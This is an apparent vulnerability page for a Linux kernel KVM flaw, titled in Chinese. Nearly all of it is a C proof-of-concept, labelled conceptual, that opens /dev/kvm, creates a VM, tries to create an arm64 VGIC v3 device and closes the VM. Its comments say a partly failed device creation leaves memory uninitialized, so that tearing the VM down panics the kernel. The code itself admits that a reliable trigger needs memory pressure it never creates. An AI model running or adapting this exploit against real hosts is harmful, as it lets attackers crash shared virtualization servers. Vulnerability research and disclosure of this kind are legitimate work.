CVE-2026-43351 Linux内核KVM内存损坏漏洞

/* * PoC for CVE-2026-43351 (Conceptual) * Triggering the uninitialized memory access in KVM arm64 VGIC. */ #include <linux/kvm.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdio.h> int main() { int kvm_fd, vm_fd; struct kvm_device device; // 1. Open the KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return 1; } // 2. Create a VM vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM"); close(kvm_fd); return 1; } // 3. Attempt to create the VGIC device // Note: To reliably trigger the bug, specific memory pressure or internal // conditions might be required to make vgic_allocate_private_irqs_locked fail. device.type = KVM_DEV_TYPE_ARM_VGIC_V3; device.fd = 0; device.flags = 0; // This calls kvm_vgic_create. If it fails partially, // dist->rd_regions remains uninitialized. if (ioctl(vm_fd, KVM_CREATE_DEVICE, &device) < 0) { perror("KVM_CREATE_DEVICE (VGIC)"); // 4. Closing the VM triggers kvm_vgic_dist_destroy // which accesses the uninitialized rd_regions -> Crash/Kernel Panic } // Cleanup (Triggering the vulnerable path if creation failed) close(vm_fd); close(kvm_fd); return 0; }